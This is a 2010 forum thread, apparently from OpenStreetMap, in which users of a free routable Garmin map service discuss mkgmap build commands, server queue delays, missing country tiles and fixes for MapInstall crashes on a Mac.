- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 16:43 · [flux]
That will be OK.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2010 16:50 · [flux]
May I ask: why go through all the trouble when a new version comes out next weekend using the --road-name-pois Mkgmap parameter?
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 17:23 · [flux]
No problem for me to wait ... may be miszczu1983 is able to wait too?
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 18:51 · [flux]
flux wrote:
No problem for me to wait ... may be miszczu1983 is able to wait too?
flux.
My brother is leaving to Africa on friday.
It would be nice if I can have searchable map before friday morning.
But if I am bothering You too much it is not a problem. - Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 18:57 · [flux]
No problem, I will start now ...
flux.
Edit: You can download this samplemap (128 MB) with the six countries, routable within the borders, roadnames as pois, you can switch off/on every single country:
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 23:47 · [flux]
flux wrote:
No problem, I will start now ...
flux.
Edit: You can download this samplemap (128 MB) with the six countries, routable within the borders, roadnames as pois, you can switch off/on every single country:
This is what \i was trying to do!
Thanks a lot man.
BTW, the map is routable together with my basemap.Can You post exact codes which you used to create .img files and then to merge it into one gmapsupp.img?
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 23:58 · [flux]
I created for the each of the six countries a gmapsupp.img with a different family-id (with the posted mkgmap command in my former posts and the additional option --family-id=xy) and then I merged the six gmapsupp.img to a new gmapsupp.img with gmt (I posted the link in my former posts).
Due to the different family-ids I am able to switch on/off single countries on my Garmin Vista HCx, which cannot handle more than one gmapsupp.img. On my Oregon 300 I could have used the six gmapsupp.img of the six countries and store them on the SDHC with different names (gmapsupp1.img, gmapsupp2.img and so on), because the Oregon is able to handle more than one gmapsupp.img and to switch these on/off.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Hynz (Gast) · 05.02.2010 12:42 · [flux]
Lambertus wrote:
New feature: If a country map is already available on the server then a direct download link is provided. For all other situations the process of filling out the email form and wait for the server to create the map for you is still the same.
Great. Thanks a lot.
Suggestions (not at all critical but I guess handy)
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) sort the countries by alphabet
-
) permit selecting multiple countries (within a continent)
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) permit selecting one continent as a whole
It seems that there are problems in certain us states (new york e.g. produces a completely scattered selection of tiles)
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) sort the countries by alphabet
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.02.2010 13:42 · [flux]
Thanks for the suggestions.
Hynz wrote:
Suggestions (not at all critical but I guess handy)
-
) sort the countries by alphabet
I'm working on that one but, surprisingly, sorting XML loaded with SimpleXML in PHP isn't trivial.
-
) permit selecting multiple countries (within a continent)
Good one.
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) permit selecting one continent as a whole
I'm not sure about this one. This service was never meant for downloading huge maps, but rather for downloading personalized maps. There are lots of other people who provide country maps and perhaps continent maps as well. Besides, there are no continent poly definition files available from Cloudmade. So if someone has poly files defining the continents then they can send it to me.
It seems that there are problems in certain us states (new york e.g. produces a completely scattered selection of tiles)
I've seen those too and they seem to be bugs in the matching applications. I'm sure that will be sorted out soon.
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) sort the countries by alphabet
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.02.2010 16:32 · [flux]
It looks like the update this morning came at an inconvenient moment. The server disk was already quite occupied due to the website changes earlier this week so there was already little room for the typical surge that happens after each update, but now every request is just locked in the queue waiting for some disk space to come available... Currently there are 71 requests queued.
Price of success? 😎
Edit: (2.5 hours later) 100 requests in the queue.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 06.02.2010 17:23 · [flux]
The former list of choosen tiles was better for people who did their download manually. E. g. I choosed 10 tiles, then I copied the name of the tiles per copy and paste to a textfile and downloaded the tiles with a bashscript to build my gmapsupp.img manually and with my typefile.
With the new names (townname instead of tilenumber) this is not possible any more, because the name of the tile and the name in the downloadlink is different. Now I have to request for a gmapsupp.img or I have to download each single tile manually before I can build my own gmapsupp.img.
flux.
EDIT: Ok, I found a solution to download the choosen tiles without a request to your server for a gmapsupp.img. I copied the names of the tiles and together with the world.kml of your homepage I have the names of the tiles to download directly. A bashscript will download the needed tiles via wget, no more requests to your server neccessary.
EDIT2: The implementation of the streetnames as POIS is working as expected, great! Now all Oregon users can search for addresses via 'All POIS' or 'Geografic points' (preferred), thank you very much!!!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.02.2010 11:47 · [flux]
flux wrote:
The former list of choosen tiles was better for people who did their download manually. E. g. I choosed 10 tiles, then I copied the name of the tiles per copy and paste to a textfile and downloaded the tiles with a bashscript to build my gmapsupp.img manually and with my typefile.
With the new names (townname instead of tilenumber) this is not possible any more, because the name of the tile and the name in the downloadlink is different. Now I have to request for a gmapsupp.img or I have to download each single tile manually before I can build my own gmapsupp.img.
flux.
EDIT: Ok, I found a solution to download the choosen tiles without a request to your server for a gmapsupp.img. I copied the names of the tiles and together with the world.kml of your homepage I have the names of the tiles to download directly. A bashscript will download the needed tiles via wget, no more requests to your server neccessary.
Great, that is what I thought of too, but I didn't dare to suggest it 😉
EDIT2: The implementation of the streetnames as POIS is working as expected, great! Now all Oregon users can search for addresses via 'All POIS' or 'Geografic points' (preferred), thank you very much!!!
You're welcome! 🙂
Edit: Blegh, the back-off changes were implemented a bit too early in the script. It didn't cause the script to backoff when it was already running (an processing 100 requests). So the result, again, is that some requests failed. I've now moved the free-disk-space check to be within the request processing loop. I hope this was the last time requests failed because of that reason. Again, I'm sorry for any inconvenience.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 07.02.2010 19:06 · [flux]
Lambertus, could you please give us the source (cloudemade or geofabrik), the commandline options of mkgmap and the used version of mkgmap you are using to build your routable maps?
It would be helpful for users who want to build their own maps or who want to compare their own maps with yours.
Thank you,
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.02.2010 20:44 · [flux]
Download the planet file if you plan to render the entire world, like I do. Otherwise download from a Geofabrik or Cloudemade extract or from any other extract source.
The next two steps are performed recursively until Mkgmap was able to render the source data successfully.
1) Split the planet into tiles that can be processed by Mkgmap:java␣-Xmx3400m␣-ea␣-jar␣~/garmin/utils/splitter/splitter.jar␣--no-trim␣--max-areas=150␣--cache=cache␣--mapid=$mapid␣--max-nodes=$max_nodes␣--write-kml=$name.kml␣--geonames-file=../../cities15000.zip␣planet-latest.translit.osm.gz
2) Render step (done before each release):
ulimit␣-t␣600␣&&␣java␣-Xmx1792M␣-ea␣-jar␣~/garmin/utils/mkgmap/mkgmap.jar␣--road-name-pois␣--adjust-turn-headings␣--latin1␣--name-tag-list=name:en,int_name,name:zh_py,name:engels,name␣--remove-short-arcs␣--add-pois-to-areas␣--make-opposite-cycleways␣--link-pois-to-ways␣--route␣--description='OSM␣World␣Routable'␣--series-name='OSM␣World␣Routable'␣$file
Combining step (done on request of the user):
Java␣-Xmx2048M␣-jar␣$utils_dir/mkgmap/mkgmap.jar␣--index␣--overview-mapname=63240000␣--series-name='OSM␣World␣Routable'␣--latin1␣--description='OSM␣World␣Routable'␣--product-id=3␣--family-id=2000␣--tdbfile␣--nsis␣--gmapsupp␣*324*.img
The Mkgmap and Splitter tools versions are mostly the latest available. There is another too, which isn't opensource (yet, I certainly hope) that transliterates non-English names to English. Anyone doing some serious map building outside the ASCII or Latin1 language areas should experiment to make their Mkgmap parameters suit that situation. I don't have any experience with that, so I can't help unfortunately.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 07.02.2010 20:48 · [flux]
Thank you,
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Chris CA (Gast) · 08.02.2010 01:01 · [flux]
Hynz wrote:
It seems that there are problems in certain us states (new york e.g. produces a completely scattered selection of tiles)
It looks as if it is grabbing the corners of the state selected and not quite firguring out the rest between them.
Does the same for Colorado, Wyoming and others, though CO & WY are square so there's only four corners to see. - Re: Worldwide routable Garmin maps: URL REMOVED · Hugo_H (Gast) · 08.02.2010 08:31 · [flux]
Lambertus, Any idea what the current queue time is. Replies seem to run over 12 hours? Or has something gone wrong with my e-mail address? Hugo
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.02.2010 09:00 · [flux]
There are about 180 requests in the queue at this moment, yesterday evening 130. I've cleared some old files so I hope the queue is shortening a bit.
Edit 1: But looking at the CPU usage graph, having much more spare disk space wouldn't have helped much. The CPU is pretty much running flat out most of the time anyway. I guess, it's just more busy then usual after an update.
Edit 2: The download stats confirm the busyness: twice the usual bandwidth usage the last two days.
Edit 3: The cleanup script allowed 72 hours downloading before deleting, it has been reduced to 48 which resulted in a lot free disk space. I think the queue of 200 request will reduce now.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 09.02.2010 11:04 · [flux]
Chris CA wrote:
Hynz wrote:
It seems that there are problems in certain us states (new york e.g. produces a completely scattered selection of tiles)
It looks as if it is grabbing the corners of the state selected and not quite firguring out the rest between them.
Does the same for Colorado, Wyoming and others, though CO & WY are square so there's only four corners to see.Yes but matchit cannot do much about it. It is designed to work with country polygons that describe a closed loop boundary. Then it is 100 percent correct. But instead it is offered polygons (from cloudmate mostly) wich are mostly many rectangles within the country boundary. Mostly this will go ok but sometimes like for italy some small tiles miss. So for italy a plolygon from geofabrik is taken. I'm pretty sure that the new york scattering has the same reason. All can be sorted out by supplying good country poligons.
Sorting countries on alphabet is done by machit now also.
- Re: Worldwide routable Garmin maps: URL REMOVED · jimcintosh (Gast) · 09.02.2010 15:28 · [flux]
First, let me thank you very much for this great service. Living in a developing-world country, it is absolutely great to be able to get routable maps. It has also been a rewarding task seeing the areas I mapped be added.
But, I have a problem. I asked for the tiles for Bolivia and received the response below yesterday. Unfortunately, only files there are:
Parent Directory -
mkgmap.version 09-Feb-2010 00:01 4
osm_routable_tiles.zip 09-Feb-2010 00:01 34M
requested.tiles 09-Feb-2010 00:01 26
requested.time 09-Feb-2010 00:01 20There is no gmapsupp.imp nor MapSource installer. Is this something I did wrong?
Thanks for your help. The response letter is below.
Hi,
Your request for a routable Garmin map on garmin.na1400.info is ready.
The server has generated four different configurations of your map:
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Installer for Garmin MapSource (Windows).
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Installer for Garmin RoadTrip (Mac OSX)
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Combined image for direct manual placement on the GPS device (gmapsupp.img)
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A zip file containing the tiles in the request, especially useful for Linux users (e.g. QLandkarte)
Please browse to the website listed below and download the map configuration(s) you're interested in. Your request will be available on the server for 48 hours before it's deleted.
<http://planetosm.oxilion.nl/~lambertus/ … 6b49c23b02>Enjoy!
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Installer for Garmin MapSource (Windows).
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 10.02.2010 12:04 · [flux]
Hi Lambertus,
Has anything been changed with the system that generates RoadTrip maps? I downloaded a map and MapInstall gives an error: "Alert. There is a problem with the OSM World Routable installation. Please re-install OSM World Routable and start MapInstall again"
I tried re-installing the map to no avail. I reinstalled the previous OSM routable map and it works fine with MapInstall.
Interestingly the problem map is installed to RaodTrip with MapManager no problem. Its just MapInstall finds an error with the map.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.02.2010 13:18 · [flux]
jimcintosh wrote:
First, let me thank you very much for this great service. Living in a developing-world country, it is absolutely great to be able to get routable maps. It has also been a rewarding task seeing the areas I mapped be added.
But, I have a problem. I asked for the tiles for Bolivia and received the response below yesterday. Unfortunately, only files there are:
Parent Directory -
mkgmap.version 09-Feb-2010 00:01 4
osm_routable_tiles.zip 09-Feb-2010 00:01 34M
requested.tiles 09-Feb-2010 00:01 26
requested.time 09-Feb-2010 00:01 20There is no gmapsupp.imp nor MapSource installer. Is this something I did wrong?
You didn't do anything wrong, something did on the server (don't know why this time). I'll remove the current combine result and try to make a new one with tiles 3 and 4 (the ones you selected). Hopefully this was just a hickup...
The server is still 2 days behind with around 100 requests in the queue and disk space rapidly nearing 0 again which means the last two days required about 100 GB of storage.
Groundspeak wrote:
Hi Lambertus,
Has anything been changed with the system that generates RoadTrip maps? I downloaded a map and MapInstall gives an error: "Alert. There is a problem with the OSM World Routable installation. Please re-install OSM World Routable and start MapInstall again"
I tried re-installing the map to no avail. I reinstalled the previous OSM routable map and it works fine with MapInstall.
Interestingly the problem map is installed to RaodTrip with MapManager no problem. Its just MapInstall finds an error with the map.
Thanks
I hadn't heard of this problem before. A newer version of Mkgmap has been used to render the tiles, that's the only possibly relevant change since the previous update. I'll see if a source can be found...
- Re: Worldwide routable Garmin maps: URL REMOVED · phillipsart (Gast) · 10.02.2010 14:48 · [flux]
Hi, I been having problems with the maps from Australia, Along the East Coast for the past week. Attempted to download 3 or 4 times the maps and still have the same problem. The tiles on the Furthest East of the Coast are not working in Road Trip on my Mac. The colors on those tiles are not the same as the others and I can't zoom in very far. if I try to zoom in The maps disappear.
If I zoom in any closer than what's showed in this photo the roads etc disappear.
- Re: Worldwide routable Garmin maps: URL REMOVED · Kevin70 (Gast) · 11.02.2010 02:59 · [flux]
I am having the same problem as philipstart but with Mapsource. The problem only seems to be effecting the tile that covers the extreme east of the Australian continent north and south of Brisbane. When I attempted to use this part of the map Mapsource generated an error mesage that requested detail be sent to Garmin but as the problem seems to be occurring in other applications it seems that the problem may be with the download as the OEM map in both View and Edit looks fine. Please advise if you need any more information.
Khank you.
Kevin
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 11.02.2010 12:32 · [flux]
Lambertus wrote:
Groundspeak wrote:
Hi Lambertus,
Has anything been changed with the system that generates RoadTrip maps? I downloaded a map and MapInstall gives an error: "Alert. There is a problem with the OSM World Routable installation. Please re-install OSM World Routable and start MapInstall again"
I tried re-installing the map to no avail. I reinstalled the previous OSM routable map and it works fine with MapInstall.
Interestingly the problem map is installed to RaodTrip with MapManager no problem. Its just MapInstall finds an error with the map.
Thanks
I hadn't heard of this problem before. A newer version of Mkgmap has been used to render the tiles, that's the only possibly relevant change since the previous update. I'll see if a source can be found...
Just to add some more info. The 'previous' OSM routable map, that works fine for me was based on OSM data from 20-01-2010 and I downloaded it on 30 Jan 2010. Requested tiles were 63240454.img, 63240455.img, 63240456.img.
The 'problem' OSM map is based on OSM data from 3 Feb 2010. I downloaded it 10 Feb 2010. The tiles are requested were 63240409.img, 63240410.img, 63240412.img (Ireland). I chose from the new preselected drop-down menu)
I have the ".nsi" info from both downloads if that's any use. The mkgmap version file simply says "svn" for both maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 11.02.2010 23:06 · [flux]
Groundspeak wrote:
Has anything been changed with the system that generates RoadTrip maps? I downloaded a map and MapInstall gives an error: "Alert. There is a problem with the OSM World Routable installation. Please re-install OSM World Routable and start MapInstall again"
I tried re-installing the map to no avail. I reinstalled the previous OSM routable map and it works fine with MapInstall.
Interestingly the problem map is installed to RaodTrip with MapManager no problem. Its just MapInstall finds an error with the map.
This may be a problem specific to the map you have downloaded. Perhaps you could let us know which tiles you downloaded, or the directory of your download, so we can try to reproduce the problem. I was able to successfully install other tiles, so I don't think it's a general problem.
You may also wish to try the latest MapInstall beta. This version appears to be much more stable than previous releases:
http://www8.garmin.com/support/download … sp?id=4729
Cheers
- Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 11.02.2010 23:22 · [flux]
Groundspeak wrote:
Just to add some more info. The 'previous' OSM routable map, that works fine for me was based on OSM data from 20-01-2010 and I downloaded it on 30 Jan 2010. Requested tiles were 63240454.img, 63240455.img, 63240456.img.
The 'problem' OSM map is based on OSM data from 3 Feb 2010. I downloaded it 10 Feb 2010. The tiles are requested were 63240409.img, 63240410.img, 63240412.img (Ireland). I chose from the new preselected drop-down menu)
I tried again with these tiles (http://planetosm.oxilion.nl/~lambertus/ … 417e1d915/) and was able to install without any errors -- I did use the beta version of MapInstall though.
Cheers.
- Re: Worldwide routable Garmin maps: URL REMOVED · phillipsart (Gast) · 12.02.2010 04:25 · [flux]
I still having the same problems as I posted a couple days ago.
The tile on the far eastern side of Australia is not working. I can't zoom in any closer than 5Km as shown in the image I posted a couple days ago.
I am not using Mapsource. I am using Roadtrip on a Mac. It's been like this for a week and a half now. Unfortunately the area in question is where I live and travel.
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 12.02.2010 11:37 · [flux]
Clinton Gladstone wrote:
This may be a problem specific to the map you have downloaded. Perhaps you could let us know which tiles you downloaded, or the directory of your download, so we can try to reproduce the problem. I was able to successfully install other tiles, so I don't think it's a general problem.
You may also wish to try the latest MapInstall beta. This version appears to be much more stable than previous releases:
http://www8.garmin.com/support/download … sp?id=4729
Cheers
The directory was planetosm.oxilion.nl/~lambertus/garmin/routable/03-02-2010/c03ab2e075c79b73cd44114417e1d915 but I think its dead now, sorry.
I am using MapInstall Version 2.1.3 Release. http://www8.garmin.com/support/collecti … 9-99999-06 This seems to be later than the beta in your post. Do you reckon its better to downgrade to the older beta ?
Just to clarify, I am able to install the map onto RoadTrip fine. Its just transferring the map to my GPS unit via MapInstall brings up the problem. I tried clicking on the link you posted for the tiles that worked for you but the link is dead.
I'll try to download a new set of tiles and I'll let you know what happens.
Oh yeah, I just want to say a very big thank you to Lambertus and yourself (and all who contribute) for this EXCELLENT service. It is superb. OSM and my Garmin GPS unit would be nothing with out the ability to use the OSM maps on my GPS unit. I have used your service for just about a year now and it is excellent. I appreciate your good work. Cheers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.02.2010 15:11 · [flux]
phillipsart wrote:
I still having the same problems as I posted a couple days ago.
The tile on the far eastern side of Australia is not working. I can't zoom in any closer than 5Km as shown in the image I posted a couple days ago.
I am not using Mapsource. I am using Roadtrip on a Mac. It's been like this for a week and a half now. Unfortunately the area in question is where I live and travel.
Someone on the Mkgmap mailinglist reports the same problem as Kevin70 (crashing in MapSource) and you (crashing in RoadTrip). It appears that some table in the image is too big. Ofcourse Mkgmap tries make Garmin maps using a reversed engineered Garmin image format, so errors like these can be expected now and then.
I should probably make sure the images are made a bit smaller due to this problem. Unfortunately, the next update is already running, so I guess that one has to be stopped and restarted with different parameters.
Maybe the problems with MapInstall reported by Groundspeak are related as well. So, lets hope that a newer Mkgmap and smaller tiles will solve this in the next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 12.02.2010 21:05 · [flux]
Groundspeak wrote:
I am using MapInstall Version 2.1.3 Release. http://www8.garmin.com/support/collecti … 9-99999-06 This seems to be later than the beta in your post. Do you reckon its better to downgrade to the older beta ?
Just to clarify, I am able to install the map onto RoadTrip fine. Its just transferring the map to my GPS unit via MapInstall brings up the problem. I tried clicking on the link you posted for the tiles that worked for you but the link is dead.
I'll try to download a new set of tiles and I'll let you know what happens.
Thanks for letting me know about the updated MapInstall: I had missed that. The release notes appear to be identical to those from the Beta version, so the updated version may just be a renamed beta release.
I did download and install the 2.1.3 version, and retested again with the three tiles of the Ireland map. Again I was able to install successfully. I did this by installing to an SD card mounted directly in the reader slot of my Macbook Pro (OS 10.6.2). Are you installing from a different configuration, such as directly to your Garmin device via USB?Let us know your results with the new tiles. Also, you should perhaps ensure that you clear your map selection in MapInstall before reselecting the tiles (Apple-Command-D).
Cheers
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 13.02.2010 15:58 · [flux]
Clinton Gladstone wrote:
Are you installing from a different configuration, such as directly to your Garmin device via USB?
Let us know your results with the new tiles. Also, you should perhaps ensure that you clear your map selection in MapInstall before reselecting the tiles (Apple-Command-D).
I am installing directly to my GPS. I install the map with MapManager which works sucessfully. I open RoadTrip and check the map and confirm it is installed successfully. Then I try to upload to my GPS but I can't even get MapInstall to open to the page that allows me to use CMD+D. I get that error message. and then MapInstall "closes unexpectedly"
However if I reinstall my last good OSM maps it all works fine even in MapInstall!
I am no programmer, but I was going to try to open the good and the bad OSM maps in a Hex editor and take a quick look to see if anything looked wrong (to my unskilled eye). But OS X wont allow me open the either of the .gmapi files in a hex editor. Nor will it allow me to open their package contents .gmap files in a Hex editor either. It's very unlikeley I would have been able to spot anything wrong with the Hex editor anyway.
I'll let you know what happens when I install my next set of maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 13.02.2010 22:05 · [flux]
I put a request for the same area and downloaded the map but the same error happens (kind of thought it would but I gave it a go anyway)
I'll try again when a newer version of the area is available.The link I downloaded from is http://planetosm.oxilion.nl/~lambertus/ … 417e1d915/ and is available for 48hrs
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 15.02.2010 21:42 · [flux]
Hey Lambertus,
what a great new feature to download the requested tiles for a country as filelist or combined gmapsupp.img immediately without a request via e-mail!!!
Great!!!
And also the countries in alphabetic order, fine!
Keep up your excellent work and thank you very much,
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 16.02.2010 11:23 · [flux]
I downloaded a new rendering from http://planetosm.oxilion.nl/~lambertus/ … a6c0cea12/ based on OSM data from 10-02-2010
Unfortunately the error still occurs. MapInstall gives the same error "Alert. There is a problem with the OSM World Routable installation. Please re-install OSM World Routable and start MapInstall again" and then crashes.
mkg mapversion:1568
Requested tiles:63240558.img, 63240559.img, 63240562.img, 63240563.imgThe curious thing is that the older map based on OSM data from 20-01-2010 works fine with MapInstall.
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 16.02.2010 12:15 · [flux]
I came across http://wiki.openstreetmap.org/wiki/Gmapibuilder#Caveats . It says that errors like mine can and do happen. It gives instructions for a terminal.app fix to clear MapInstaller. It says "open up a Terminal.app and execute".
My question is how do you "execute" in terminal.app?
- Re: Worldwide routable Garmin maps: URL REMOVED · pberck (Gast) · 17.02.2010 21:22 · [flux]
Groundspeak wrote:
I came across http://wiki.openstreetmap.org/wiki/Gmapibuilder#Caveats . It says that errors like mine can and do happen. It gives instructions for a terminal.app fix to clear MapInstaller. It says "open up a Terminal.app and execute".
My question is how do you "execute" in terminal.app?
You open the Terminal apprication, and type the two lines mentioned ("rm ~/.....").
The Terminal app can be found in the /Applications/Utilities folder) I think 🙂 )
-peter
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 18.02.2010 10:16 · [flux]
open up a Terminal.app and execute:
rm ~/Library/Application Support/Garmin/MapInstall/lastSelected.gdb
rm ~/Library/Preferences/com.garmin.MapInstall.plistThis is a terrible description for telling to remove two files and instructions for how to do that.
rm is a "remove file" command. To execute it you open a terminal window and then type,
My opinion is that he could better have said to remove two files.
- Re: Worldwide routable Garmin maps: URL REMOVED · pberck (Gast) · 18.02.2010 14:08 · [flux]
greencaps wrote:
This is a terrible description for telling to remove two files and instructions for how to do that.
rm is a "remove file" command. To execute it you open a terminal window and then type,
My opinion is that he could better have said to remove two files.
Not only that, surely it can be done from a normal "finder" window as well. More people are probably familiar with that...
-peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 18.02.2010 18:37 · [flux]
Thanks for the reply guys.
I am after coming across a warning in a book (Mac OS X Leopard for Dummies!). It says
"You can wreck havoc upon your poor operating system with Terminal. You can harm your Leopard in many ways that just aren't possible using windows and icons and clicks. Before you type a single command think seriously about what I said. And if you're not 100% certain about the command you've just typed, don't even think about pressing return or Enter"I am a bit of a mac noob and a total Terminal noob… so with that warning seared in my mind I think I will hold off messing with Terminal for a while...
Thanks for your responses, though. Cheers
- Re: Worldwide routable Garmin maps: URL REMOVED · sxpert (Gast) · 21.02.2010 09:52 · [flux]
there appears to be a bug in the "France" preset.
it's missing the tile containing "Le Mans" - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 21.02.2010 12:22 · [flux]
Not only that one. If you select Europe | france then about five tiles are not selected. Add them manually (by first checking "enable manual tile selection").
The problem has been discussed before in this thread. The reason for the missing tiles is the polygon file used for france which is not describing the boundary as matchit likes it to be done.
Everyone could contribute here by providing a good country polygon in .gpx or .poly format describing the boundary.
- Re: Worldwide routable Garmin maps: URL REMOVED · Chris CA (Gast) · 21.02.2010 18:32 · [flux]
Lambertus,
All my OSM maps in Roadtrip and on my Garmin Colorado 300 have a blue dot POI in the middle of every road.
The whole map looks like a martian with chicken pox...From what I have found, the option
--road-name-pois= 0x2f15 (or a different code)
does this to allow searching roads. Did you turn this on recently (in the last week or two)? - Re: Worldwide routable Garmin maps: URL REMOVED · Chris CA (Gast) · 21.02.2010 18:39 · [flux]
Groundspeak wrote:
I came across http://wiki.openstreetmap.org/wiki/Gmapibuilder#Caveats . It says that errors like mine can and do happen. It gives instructions for a terminal.app fix to clear MapInstaller. It says "open up a Terminal.app and execute".
My question is how do you "execute" in terminal.app?
It's not needed to use Terminal to do that.
Open a Finder window and delete ~/Library/Application Support/Garmin/MapInstall/lastSelected.gdb. No need to delete the .plist.I noticed this crash about a year ago and posted over in forums.Garmin.com but they were clueless.
- Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 21.02.2010 18:43 · [flux]
Groundspeak wrote:
I am a bit of a mac noob and a total Terminal noob… so with that warning seared in my mind I think I will hold off messing with Terminal for a while...
Thanks for your responses, though. Cheers
Actually, I was finally able to reproduce your problem today. I received the same error about the damaged map installation and the crash of MapInstall. I believe this occurred because I had just re-installed a re-compiled version of a map. This was the same map which I had previously selected and sent to my GPS device, only this time, the map had fewer tiles than before. Since MapInstall attempts to save the last selected tiles between runs, I think it tried to select a now non-existent tile, causing the error.
At any rate, to solve the problem you don't have to use Terminal, and you don't have to delete anything. Just do the following:
- Make sure MapInstall is not running.
- Open the following folder: <your home directory>/Library/Application Support/Garmin
- Rename the folder "MapInstall" to "MapInstall.old" (or rename it to "MapInstall.2" or something similar).
- Restart MapInstall. You should now be able to reselect and transfer your map tiles without error.
(The folder which you renamed contains a file which saves your last-selected tiles. When the MapInstall program cannot find the folder named "MapInstall", it creates a new folder with an empty selection file.)
I hope this helps.
Cheers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Chris CA (Gast) · 21.02.2010 19:47 · [flux]
Clinton Gladstone wrote:
At any rate, to solve the problem you don't have to use Terminal, and you don't have to delete anything. Just do the following:
Why not just delete it instead of renaming it? If not, you'll just have a useless old folder laying around.
Renaming a folder is good practice if you are troubleshooting and may want to put the old folder back if it's not the problem.
But it is the problem, so... - Re: Worldwide routable Garmin maps: URL REMOVED · Clinton Gladstone (Gast) · 21.02.2010 22:12 · [flux]
Chris CA wrote:
Clinton Gladstone wrote:
At any rate, to solve the problem you don't have to use Terminal, and you don't have to delete anything. Just do the following:
Why not just delete it instead of renaming it? If not, you'll just have a useless old folder laying around.
Renaming a folder is good practice if you are troubleshooting and may want to put the old folder back if it's not the problem.
But it is the problem, so...I find it also good practice if you are not sure what you are doing. The original poster mentioned this, and mentioned that they were nervous about deleting files which they did not know about.
I therefore often recommend this approach in instructions to others, as it is non-destructive. If the person following the instructions misunderstands something and renames an incorrect file, then there is no harm done: they can simply revert the change. On the other hand, if they delete an incorrect file and empty the trash, they will have to hope that they have a good backup.
On modern OSes a few extra folders lying around will make no significant difference, neither to performance nor to disk usage. ;-)
Cheers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 22.02.2010 15:12 · [flux]
Clinton Gladstone wrote:
At any rate, to solve the problem you don't have to use Terminal, and you don't have to delete anything. Just do the following:
- Make sure MapInstall is not running.
- Open the following folder: <your home directory>/Library/Application Support/Garmin
- Rename the folder "MapInstall" to "MapInstall.old" (or rename it to "MapInstall.2" or something similar).
- Restart MapInstall. You should now be able to reselect and transfer your map tiles without error.
(The folder which you renamed contains a file which saves your last-selected tiles. When the MapInstall program cannot find the folder named "MapInstall", it creates a new folder with an empty selection file.)
I hope this helps.
Cheers.
Clinton Gladstone, you are a star! That fixed it. Thank you.
That has made my day 🙂For a while I thought that was it, no more up-to-date routable maps for my GPS. Thank you again.
I feel like a real whinge-bag, but I'm now suffering from the same issue as Chris CA "martian with chicken pox" map (sorry!)
Chris CA wrote:
All my OSM maps in Roadtrip and on my Garmin Colorado 300 have a blue dot POI in the middle of every road.
The whole map looks like a martian with chicken pox... - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.02.2010 13:24 · [flux]
sxpert wrote:
there appears to be a bug in the "France" preset.
it's missing the tile containing "Le Mans"The country definitions for the presets are not optimal yet. There are a few other countries with the same problem. Should fix in the coming weeks.
Chris CA wrote:
Lambertus,
All my OSM maps in Roadtrip and on my Garmin Colorado 300 have a blue dot POI in the middle of every road.
The whole map looks like a martian with chicken pox...From what I have found, the option
--road-name-pois= 0x2f15 (or a different code)
does this to allow searching roads. Did you turn this on recently (in the last week or two)?Yes, that was turned on for this update, but only using the "--road-name-pois" option. I'll see if there is a POI code that doesn't show up (prominently) on the map.
- Re: Worldwide routable Garmin maps: URL REMOVED · ras_oscar (Gast) · 01.03.2010 15:14 · [flux]
Lambertus:
I am a grateful user of your map tiles. Stopped using the installer in favor of compiling the .img files into my own index files. Works fine using mkgmap. However, I've got a question. I'd like to be able to selectively replace individual tiles as I add map features to OSM. If I download a tile on date X, then on date Y (3 months in the future), I download a fresh copy and the tile number is the same am I asured that I will have a compiled map with no gaps or overlap? If there is overlap how will I know it? I'd prefer not to opverburden your servers by asking for the entire collection I am maintaining, which covers 6 states in the US and exceeds the tile count limit.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 01.03.2010 16:58 · [flux]
The tiles will/may vary per site update. You can check if a tile has changed by just remembering the area it covered. But better by watching the world.kml file (under the link "template file"). Save it and download again for a new update. Compare the coordinates for a tilenumber. (Just open the files in wordpad or notepad or any texteditor or what else).
